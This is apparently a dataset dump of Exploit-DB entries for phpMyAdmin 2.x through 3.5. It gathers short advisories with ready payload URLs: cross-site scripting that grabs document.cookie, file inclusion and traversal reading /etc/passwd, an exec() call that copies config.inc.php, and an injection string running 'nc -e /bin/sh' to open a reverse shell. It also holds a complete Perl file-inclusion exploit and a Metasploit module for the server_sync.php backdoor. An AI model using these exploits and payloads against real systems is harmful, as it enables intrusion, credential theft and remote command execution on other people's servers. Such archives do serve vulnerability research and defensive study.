deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25155
Description: phpMyAdmin 2.6 - 'theme_right.css.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-02-24
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12644/info
   
Multiple remote cross-site scripting vulnerabilities affect phpMyAdmin. These issues are due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/phpMyAdmin/themes/original/css/theme_right.css.php?right_font_family=[XSS]
Exploit-DB #25156
Description: phpMyAdmin 2.6 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2005-02-24
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/12645/info

phpMyAdmin is affected by multiple local file include vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in a PHP 'include()', 'require()', 'require-once()', or similar function call.

An attacker may leverage these issues to execute arbitrary server-side script code that resides on an affected computer with the privileges of the Web server process. This may potentially facilitate unauthorized access.

It should be noted that these issues may also be leveraged to read arbitrary file on an affected computer with the privileges of the Web server. 

http://www.example.com/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc/passwd%00&theme=passwd%00
http://www.example.com/phpMyAdmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc&theme=passwd%00
http://www.example.com/phpMyAdmin/libraries/database_interface.lib.php?cfg[Server][extension]=cXIb8O3
Exploit-DB #12642
Description: phpMyAdmin 2.6.3-pl1 - Cross-Site Scripting / Full Path
Type: webapps
Platform: php
Date: 2010-05-18
Author: cp77fk4r

Exploit:
# Exploit Title: phpMyAdmin 2.6.3-pl1 Cross Site Scripting and Full Path
Disclosure.
# Date: 20/04/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com | www.DigitalWhisper.co.il
# Software Link: www.phpmyadmin.net |
http://www.phpmyadmin.net/home_page/downloads.php
# Version: 2.6.3-pl1
# Tested on: PHP
#
##[Cross Site Scripting]*
(Cross-Site Scripting attacks are a type of injection problem, in which
malicious scripts are injected into the otherwise benign and trusted web
sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web
application to send malicious code, generally in the form of a browser side
script, to a different end user. Flaws that allow these attacks to succeed
are quite widespread and occur anywhere a web application uses input from a
user in the output it generates without validating or encoding it)
http://
[server]/phpmyadmin/left.php?lang=he-iso-8859-8-i&server=1&hash=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
#
#
##[FULL PATH DICSLOSURE]**
(Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the
path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain
vulnerabilities, such as using the load_file() (within a SQL Injection)
query to view the page source, require the attacker to have the full path to
the file they wish to view. (OWASP))
#
http://
[server]/phpmyadmin/sql.php?lang=he-iso-8859-8-i&server=1&db=x&table=x&sql_query=1'
#
Will returne:
#
Fatal error: Cannot use string offset as an array in [FPD] on line 901
#
#
*The victim must be logged in.
**The attacker must be logged in.
#
#
[e0f]
Exploit-DB #1244
Description: phpMyAdmin 2.6.4-pl1 - Directory Traversal
Type: webapps
Platform: php
Date: 2005-10-10
Author: cXIb8O3

Exploit:
#!/usr/bin/perl
use IO::Socket;

# SecurityReason.com TEAM
# Maksymilian Arciemowicz ( cXIb8O3 ) cxib@securtiyreason.com
#
# Local file inclusion (./$FILE)
# simple exploit phpMyAdmin 2.6.4-pl1
#
#
# SecurityReason.com

if (@ARGV < 3)
{
print "\r\n SecurityReason TEAM\r\n";
print "[cXIb8O3] EXPLOIT for phpMyAdmin 2.6.4-pl1\r\n";
print " \r\n";
print "perl phpmyadmin-2.6.4-pl1.pl HOST /DIR/ FILE\r\n\r\n";
print "HOST - Host where is phpmyadmin example: http://localhost\r\n";
print "DIR - Directory to PMA example: /phpMyAdmin-2.6.4-pl1/\r\n";
print "FILE - file to inclusion ../../../../../etc/passwd\r\n\r\n";
print "example cmd: perl phpmyadmin-2.6.4-pl1.pl http://localhost /phpMyAdmin-2.6.4-pl1/ ../../../../../etc/passwd\r\n\r\n";
exit();
}

$HOST = $ARGV[0];
$DIR = $ARGV[1]."libraries/grab_globals.lib.php";
$FILE = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=".$ARGV[2]."&subform[1][cXIb8O3]=1";
$LENGTH = length $FILE;

print "\r\nATTACK HOST IS: ".$HOST."\r\n\r\n";
$HOST =~ s/(http:\/\/)//;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "Error 404\r\n\r\n";

print $get1 "POST ".$DIR." HTTP/1.0\n";
print $get1 "Host: ".$HOST."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$LENGTH."\n\n";

print $get1 $FILE;

while ($odp = <$get1>)
{
if ($odp =~ /<b>Warning<\/b>: main\(\): Unable to access .\/$ARGV[2] in <b>/ ) {
printf "\n\nFile ".$ARGV[2]." no exists.\r\n\r\n";
exit;
}

printf $odp;
}

# milw0rm.com [2005-10-10]
Exploit-DB #27632
Description: phpMyAdmin 2.7 - 'sql.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-31
Author: p0w3r

Exploit:
source: https://www.securityfocus.com/bid/17487/info

PHPMyAdmin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com//phpmyadmin/sql.php?lang=de-utf-8&server=1&collation_connection=utf8_general_ci&db=fu&table=fu&goto=tbl_properties_structure.php&back=tbl_properties_structure.php&sql
_query=SELECT+*+FROM+%60'%3Cscript%3Ealert(document.cookie)%3C/script%3E'%60
Exploit-DB #27435
Description: phpMyAdmin 2.8.1 - Set_Theme Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-16
Author: Ali Asad

Exploit:
source: https://www.securityfocus.com/bid/17142/info

phpMyAdmin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/index.php?set_theme=%3Cscript%3Ealert(XSS);%3C/script%3E
Exploit-DB #29895
Description: phpMyAdmin 2.9.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-04-24
Author: sp3x@securityreason.com

Exploit:
source: https://www.securityfocus.com/bid/23624/info

phpMyAdmin is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to phpMyAdmin 2.10.1 are vulnerable to this issue. 

http://www.example.com/[path]/showpic.php?pic=[xss]
http://www.example.com/[path]/showpic.php?gal=[xss]
Exploit-DB #29058
Description: phpMyAdmin 2.x - 'db_create.php?db' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-15
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21137/info

phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.

An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.

All versions of phpMyAdmin are vulnerable.

http://www.example.com/phpmyadmin/db_create.php?token=your_token&reload=1&db=[double xss(2 followed xss)]
Exploit-DB #29059
Description: phpMyAdmin 2.x - 'db_operations.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-15
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21137/info
 
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
 
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
 
All versions of phpMyAdmin are vulnerable.
 
http://www.example.com/phpmyadmin/db_operations.php?db_collation=latin1_swedish_ci&db_copy=true&db=prout&token=your_token&newname=[xss]
Exploit-DB #26199
Description: phpMyAdmin 2.x - 'error.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-28
Author: Michal Cihar

Exploit:
source: https://www.securityfocus.com/bid/14675/info

phpMyAdmin is prone to a cross-site scripting vulnerability.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the software. Such an attack would require that the victim follows a malicious link that includes hostile HTML and script code. 

/error.php?error=%3Cscript%3Ewindow.alert('a')%3C/script%3E
Exploit-DB #23640
Description: phpMyAdmin 2.x - 'Export.php' File Disclosure
Type: webapps
Platform: php
Date: 2004-02-03
Author: Cedric Cochin

Exploit:
source: https://www.securityfocus.com/bid/9564/info

phpMyAdmin is prone to a vulnerability that may permit remote attackers to gain access to files that are readable by the hosting web server. The issue is reported to exist in the 'export.php' script and may be exploited by providing directory traversal sequences as an argument for a specific URI parameter. 

http://www.example.com/[phpMyAdmin_directory]/export.php?what=../../../../../../etc/passwd%00
Exploit-DB #26392
Description: phpMyAdmin 2.x - 'queryframe.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-20
Author: Tobias Klein

Exploit:
source: https://www.securityfocus.com/bid/15196/info

phpMyAdmin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example/com/queryframe.php?lang=en-iso-8859-1&server=1&hash="><script>alert(document.cookie)</script>
Exploit-DB #29060
Description: phpMyAdmin 2.x - 'querywindow.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-15
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21137/info
  
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
  
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
  
All versions of phpMyAdmin are vulnerable.

http://www.example.com/phpmyadmin/querywindow.php token=your_token&db=&table=&query_history_latest=[xss]&query_history_latest_db=[xss]&querydisplay_tab=[xss]
Exploit-DB #26393
Description: phpMyAdmin 2.x - 'server_databases.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-20
Author: Tobias Klein

Exploit:
source: https://www.securityfocus.com/bid/15196/info
 
phpMyAdmin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by=db_name&sort_order="><script>alert(document.cookie)</script>
http://www.example/com/server_databases.php?lang=en-iso-8859-1&server=1&sort_by="><script>alert(document.cookie)</script>
Exploit-DB #29061
Description: phpMyAdmin 2.x - 'sql.php?pos' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-15
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21137/info
   
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
   
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
   
All versions of phpMyAdmin are vulnerable.

http://www.example.com/phpmyadmin/sql.php?db=information_schema&token=your_token&goto=db_details_structure.php&table=CHARACTER_SETS&pos=&lt;/textarea&gt;'"><script>alert(document.cookie)</script>
Exploit-DB #25330
Description: phpMyAdmin 2.x - Convcharset Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-03
Author: Oriol Torrent Santiago

Exploit:
source: https://www.securityfocus.com/bid/12982/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input to the 'convcharset' parameter.

phpMyAdmin versions prior to 2.6.2-rc1 are affected by this issue. 

http://www.example.com/phpmyadmin/index.php?pma_username=&pma_[CREDENTIAL_REDACTED]=1&lang=en-iso-8859-1&convcharset=\"><script>alert(document.cookie)</script>

http://www.example.com/phpmyadmin/index.php?pma_username=&pma_[CREDENTIAL_REDACTED]=1&lang=en-iso-8859-1&convcharset=\"><h1>XSS</h1>
Exploit-DB #24817
Description: phpMyAdmin 2.x - External Transformations Remote Command Execution
Type: webapps
Platform: php
Date: 2004-12-13
Author: Nicolas Gregoire

Exploit:
source: https://www.securityfocus.com/bid/11886/info

phpMyAdmin is reported prone to multiple remote vulnerabilities. These issues can allow remote attackers to execute arbitrary commands and disclose files on a vulnerable computer. These issues result from insufficient sanitization of user-supplied data.

The command execution is reported to be present since phpMyAdmin 2.6.0-pl2. The file disclosure is present since phpMyAdmin 2.4.0.

F\';nc -e /bin/sh $IP 80;echo \'A
Exploit-DB #22798
Description: phpMyAdmin 2.x - Information Disclosure
Type: webapps
Platform: php
Date: 2003-06-18
Author: Lorenzo Manuel Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7963/info

A vulnerability has been reported for phpMyAdmin that may reveal the contents of directories to remote attackers. The vulnerability exists due to insufficient sanitization of user-supplied input. Specifically, dot-dot-slash '../' directory traversal sequences are not sufficiently sanitized from URI parameters. 

http://localhost/mysql/db_details_importdocsql.php?submit_show=true&do=import&docpath=[../../../]
Exploit-DB #29062
Description: phpMyAdmin 2.x - Multiple Script Array Handling Full Path Disclosures
Type: webapps
Platform: php
Date: 2006-09-15
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21137/info
    
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
    
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
    
All versions of phpMyAdmin are vulnerable.

http://www.example.com/scripts/check_lang.php 
http://www.example.com/themes/darkblue_orange/layout.inc.php 
http://www.example.com/index.php?lang[]= 
http://www.example.com/index.php?target[]= 
http://www.example.com/index.php?db[]= 
http://www.example.com/index.php?goto[]= 
http://www.example.com/left.php?server[]= 
http://www.example.com/index.php?table[]= 
http://www.example.com/server_databases.php?token=your_token&sort_by=" 
http://www.example.com/index.php?db=information_schema&token=your_token&tbl_group[]= http://www.example.com/db_printview.php?db=" 
http://www.example.com/sql.php?back[]=
Exploit-DB #32531
Description: phpMyAdmin 3.0.1 - 'pmd_pdf.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-10-27
Author: Hadi Kiamarsi

Exploit:
source: https://www.securityfocus.com/bid/31928/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/pmd_pdf.php?db=>"><script>alert('Hadi-Kiamarsi')</script>
Exploit-DB #32383
Description: phpMyAdmin 3.2 - 'server_databases.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2008-09-15
Author: Norman Hippert

Exploit:
source: https://www.securityfocus.com/bid/31188/info

phpMyAdmin is prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue occurs because the application fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected application and possibly the underlying computer.

This issue affects versions prior to phpMyAdmin 2.11.9.1.

http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); //&sort_order=desc&token=[valid token]
Exploit-DB #33060
Description: phpMyAdmin 3.3.0 - 'db' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-05-30
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/35531/info

phpMyAdmin is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The following versions are affected:

phpMyAdmin 3.2.0.1
phpMyAdmin 3.2.1-dev
phpMyAdmin 3.3.0-dev
phpMyAdmin 2.11.10-dev
phpMyAdmin 3.2.0-rc1

Other versions may also be affected. 

http://www.example.com/MAINT_3_2_0/index.php?db=%22%3E%27%3E%3Cscript%3Ealert%28%2Fr0t%2F%29%3C%2Fscript%3E&token=f70d8ec4305c5a877f56c14554aced10
Exploit-DB #21834
Description: phpMyAdmin 3.5.2.2 - 'server_sync.php' Backdoor (Metasploit)
Type: webapps
Platform: php
Date: 2012-10-10
Author: Metasploit

Exploit:
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'phpMyAdmin 3.5.2.2 server_sync.php Backdoor',
			'Description'    => %q{
					This module exploits an arbitrary code execution backdoor 
				placed into phpMyAdmin v3.5.2.2 thorugh a compromised SourceForge mirror.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => [ ['URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2012-5.php'] ],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Compat'      =>
						{
							'ConnectionType' => 'find',
						},
					# Arbitrary big number. The payload gets sent as an HTTP
					# response body, so really it's unlimited
					'Space'       => 262144, # 256k
				},
			'DefaultOptions' =>
				{
					'WfsDelay' => 30
				},
			'DisclosureDate' => 'Sep 25 2012',
			'Platform'       => 'php',
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget' => 0))

		register_options([
			OptString.new('PATH', [ true , "The base directory containing phpMyAdmin try", '/phpMyAdmin'])
		], self.class)
	end

	def exploit

		uris = []

		tpath = datastore['PATH']
		if tpath[-1,1] == '/'
			tpath = tpath.chop
		end

		pdata = "c=" + Rex::Text.to_hex(payload.encoded, "%")

		res = send_request_raw( {
			'global'  => true,
			'uri'     => tpath + "/server_sync.php",
			'method'  => 'POST',
			'data'    => pdata,
			'headers' => {
				'Content-Type'   => 'application/x-www-form-urlencoded',
				'Content-Length' => pdata.length,
			}
		}, 1.0)

		handler
	end
end